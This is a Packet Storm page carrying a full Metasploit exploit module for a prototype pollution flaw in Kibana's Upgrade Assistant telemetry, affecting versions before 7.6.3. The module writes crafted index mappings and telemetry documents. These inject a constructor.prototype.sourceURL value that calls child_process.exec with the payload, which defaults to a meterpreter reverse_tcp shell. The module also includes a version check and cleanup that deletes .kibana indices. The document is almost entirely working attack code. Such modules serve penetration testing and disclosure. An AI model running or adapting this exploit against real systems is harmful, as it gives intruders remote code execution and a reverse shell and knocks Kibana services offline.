Kibana Prototype Pollution / Remote Code Execution ≈ Packet Storm

Change Mirror^[1] Download^[2]

  ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # causes service to not respond until cleanup and reboot
include Msf::Exploit::Remote::HttpClient
# decided not to use autocheck since it doesn't work for both targets
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kibana Upgrade Assistant Telemetry Collector Prototype Pollution',
'Description' => %q{
Kibana before version 7.6.3 suffers from a prototype pollution bug within the
Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're
able to execute arbitrary code.
Code execution is possible through two different ways. Either by sending data
directly to Elastic, or using Kibana to submit the same queries. Either method
enters the polluted prototype for Kibana to read.
Kibana will either need to be restarted, or collection happens (unknown time) for
the payload to execute. Once it does, cleanup must delete the .kibana_1 index
for Kibana to restart successfully. Once a callback does occur, cleanup will
happen allowing Kibana to be successfully restarted on next attempt.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Alex Brasetvik (alexbrasetvik)' # original PoC, analysis
],
'References' => [
[ 'URL', 'https://hackerone.com/reports/852613'],
],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'linux' ],
'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'WfsDelay' => 1800 # 30min
},
'Targets' => [
[ 'ELASTIC', {}], # target kibana through a direct elastic connection
[ 'KIBANA', {}] # target kibana through the dev console to implant elastic data
],
'DisclosureDate' => '2020-04-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN], # down until cleanup and reboot
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(9200), # default to elastic port, kibana is 5601
OptString.new('USERNAME', [ false, 'Elastic User to login with', '']),
OptString.new('PASSWORD', [ false, 'Elastic Password to login with', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Kibana/Elastic Application', '/'])
]
)
end
# https://stackoverflow.com/a/4899857
def time_rand(from = Time.local(2020, 6, 28), to = Time.now)
Time.at(from + rand * (to.to_f - from.to_f)).strftime('%FT%T.000Z')
# outputs 2020-04-17T20:47:40.800Z format
end
# This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session
# it may also only crash when on docker, and may be fine elsewehre. Regardless, good code to not lose just in case.
def kibana_cleanup
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
'method' => 'POST',
'headers' => {
'kbn-xsrf' => @xsrf
},
'ctype' => 'application/json',
'vars_get' => {
'path' => '.kibana_1', # URI for the elastic request
'method' => 'DELETE' # method for the elastic query
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end
def elastic_cleanup
request = {
'uri' => normalize_uri(target_uri.path, '.kibana*'),
'method' => 'DELETE'
}
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?
res = send_request_cgi(request)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end
def execute_command
case target.name
when 'ELASTIC'
request = {
'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => telemetry_data.to_json
}
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?
res = send_request_cgi(request)
when 'KIBANA'
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
'method' => 'POST',
'headers' => {
'kbn-xsrf' => @xsrf
},
'ctype' => 'application/json',
'vars_get' => {
'path' => '.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry', # URI for the elastic request
'method' => 'PUT' # method for the elastic query
},
'data' => telemetry_data.to_json
)
end
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 201
end
def telemetry_data
{
'upgrade-assistant-telemetry' => {
'ui_open.overview' => 1,
'ui_open.cluster' => 1,
'ui_open.indices' => 1,
'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('#{payload.encoded}')"
},
'type' => 'upgrade-assistant-telemetry',
'updated_at' => time_rand
}
end
def kibana_create_index
# if the index already exists, this will fail which is fine, we just need it to exist.
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'kbn-xsrf' => @xsrf
},
'vars_get' => {
'path' => '.kibana_1', # URI for the elastic request
'method' => 'PUT' # method for the elastic query
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 400
vprint_status('Index already exists')
return
end
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end
def elastic_create_index
request = {
'uri' => normalize_uri(target_uri.path, '.kibana_1'),
'method' => 'PUT'
}
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?
res = send_request_cgi(request)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 400
vprint_status('Index already exists')
return
end
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end
def kibana_send_mapping
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'kbn-xsrf' => @xsrf
},
'vars_get' => {
'path' => '.kibana_1/_mappings', # URI for the elastic request
'method' => 'PUT' # method for the elastic query
},
'data' => mapping_data.to_json
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end
def elastic_send_mapping
request = {
'uri' => normalize_uri(target_uri.path, '.kibana_1', '_mappings'),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => mapping_data.to_json
}
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?
res = send_request_cgi(request)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end
def mapping_data
{
'properties' => {
'upgrade-assistant-telemetry' => {
'properties' => {
'constructor' => {
'properties' => {
'prototype' => {
'properties' => {
'sourceURL' => {
'type' => 'text',
'fields' => {
'keyword' => {
'type' => 'keyword',
'ignore_above' => 256
}
}
}
}
}
}
},
'features' => {
'properties' => {
'deprecation_logging' => {
'properties' => {
'enabled' => {
'type' => 'boolean',
'null_value' => true
}
}
}
}
},
'ui_open' => {
'properties' => {
'cluster' => {
'type' => 'long',
'null_value' => 0
},
'indices' => {
'type' => 'long',
'null_value' => 0
},
'overview' => {
'type' => 'long',
'null_value' => 0
}
}
},
'ui_reindex' => {
'properties' => {
'close' => {
'type' => 'long',
'null_value' => 0
},
'open' => {
'type' => 'long',
'null_value' => 0
},
'start' => {
'type' => 'long',
'null_value' => 0
},
'stop' => {
'type' => 'long',
'null_value' => 0
}
}
}
}
}
}
}
end
def check
if target == targets[0] # elastic
return CheckCode::Unknown('Unable to determine Kibana version from Elastic database')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),
'method' => 'GET',
'keep_cookies' => true
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
# this pulls a big JSON blob that we need as it has the version
unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end
version_json = CGI.unescapeHTML(Regexp.last_match(1))
begin
json_body = JSON.parse(version_json)
rescue JSON::ParserError
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?
@version = json_body['version']
if Rex::Version.new(@version) < Rex::Version.new('7.6.3')
return CheckCode::Appears("Exploitable Version Detected: #{@version}")
end
CheckCode::Safe("Unexploitable Version Detected: #{@version}")
end
def exploit
@clean = true
fail_with(Failure::BadConfig, 'A password has been defined without a username') if datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?
case target.name
when 'ELASTIC'
print_warning('RPORT should most likely be set to 9200 when exploiting the ELASTIC target') if datastore['RPORT'] != 9200
print_status('Creating index')
elastic_create_index
print_status('Sending index map')
elastic_send_mapping
when 'KIBANA'
print_warning('RPORT should most likely be set to 5601 when exploiting the KIBANA target') if datastore['RPORT'] != 5601
# xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2
# https://discuss.elastic.co/t/where-can-i-get-the-correct-kbn-xsrf-value-for-my-plugin-http-requests/158725/3
@xsrf = 'kibana'
print_status('Creating index')
kibana_create_index
print_status('Sending index map')
kibana_send_mapping
end
print_status('Sending telemetry data with payload')
execute_command
print_status("Waiting #{datastore['WfsDelay']} seconds for shell (kibana restart/cleanup)")
end
def cleanup
return unless @clean
if target.name == 'KIBANA'
print_error('Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1')
# kibana_cleanup
return
end
print_status('Removing telemetry data to prevent Kibana locking on restart')
elastic_cleanup
end
end